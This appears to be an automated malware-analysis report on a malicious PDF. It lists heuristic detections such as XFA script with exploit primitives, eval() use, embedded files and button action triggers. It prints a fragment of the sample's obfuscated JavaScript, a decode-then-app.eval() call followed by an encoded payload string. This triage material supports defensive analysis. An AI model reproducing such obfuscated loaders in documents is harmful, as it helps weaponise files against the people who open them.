Malicious PDF — malware analysis report

Heuristics 9

• XFA form contains risky executable script high CVE related PDF_XFA_SCRIPT
  PDF embeds an XFA form whose script block contains exploit, submission/launch, or shell-execution primitives. Ordinary LiveCycle print/update scripts are left as generic XFA/JS signals unless stronger behavior is present.
• eval() call high PDF_EVAL
  eval() found — commonly used for obfuscated exploit execution (matched inside decoded stream)
  Matched line in script

  var dfkjhuiwrh = tehe4rtg4r(eawfgaerg53ref);
  app.eval(dfkjhuiwrh);
  </script></event></field><draw xmlns="http://www.xfa.org/schema/xfa-template/2.2/" h="31.75mm" name="StaticText1" w="57.1499mm" x="63.5mm" y="66.675mm"><ui><textEdit></textEdit></ui><value><text>.w%qx58qQq_._8-M-w%1_-Mx9957w%5f99-O.w%qx57qQqx58O.w%qzqQqx57My236z%_8t&gt;uM8w7_O0*8y-398q+-%&lt;%_/_w-r+-%N6_8so,236_r+-%M6_81-2qRq6_8so+-%qJQq+-%Op%_-*%8q+-%M+*x+-%381r&gt;Nq6_8sOp0*8y-398q63x-300r._%+398so.w%q%9/qQqPe,yWWW{ZWW{WWWW,)WWWWe{ZWW{WWWWXWWWWW,{ZWW{WWWWXWWWWX1{ZWW{WWWWXWWWW{e{{WW{WWWW)WWWW} …

• Embedded file low PDF_EMBEDDED
  PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
• XFA form low PDF_XFA
  PDF uses XML Forms Architecture — can contain script logic
• AcroForm button with action trigger low PDF_ACROFORM_BUTTON
  PDF contains a /Btn form field together with a SubmitForm/URI/Launch/JS trigger — this is the building block of fake 'Download' or 'Open' button overlays used in PDF phishing lures
• Embedded script payload in PDF stream info PDF_EMBEDDED_SCRIPT_PAYLOAD
  PDF stream bytes contain an HTML/XFA <script> tag without accompanying Windows shell-execution primitives — common in accessible XFA forms but worth surfacing for analyst review.
• Object number defined twice with different bodies info PDF_DUPLICATE_OBJ_BODY_INCREMENTAL
  The same indirect object (N G) is defined more than once with different body bytes. First-wins and last-wins readers will resolve different content, which is a parser-confusion shape used by targeted PDFs. Body-only differences are common in benign incremental updates, so severity is raised only when the duplicate carries active content.
• Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
  One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
• Embedded URL info EMBEDDED_URL
  One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
  URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text

  • http://ns.adobe.com/xap/1.0/In PDF document text
  • http://ns.adobe.com/xap/1.0/mm/In PDF document text
  • http://purl.org/dc/elements/1.1/In PDF document text
  • http://ns.adobe.com/pdf/1.3/In PDF document text
  • http://www.xfa.org/schema/xfa-template/2.1/In PDF document text
  • http://www.xfa.org/schema/xfa-template/2.2/In PDF document text
  • http://ns.adobe.com/xdp/In PDF document text
  • http://www.xfa.org/schema/xci/1.0/In PDF document text
  • http://www.xfa.org/schema/xfa-data/1.0/In PDF document text
  • http://www.xfa.org/schema/xfa-locale-set/2.1/In PDF document text
  • http://ns.adobe.com/xtd/In PDF document text

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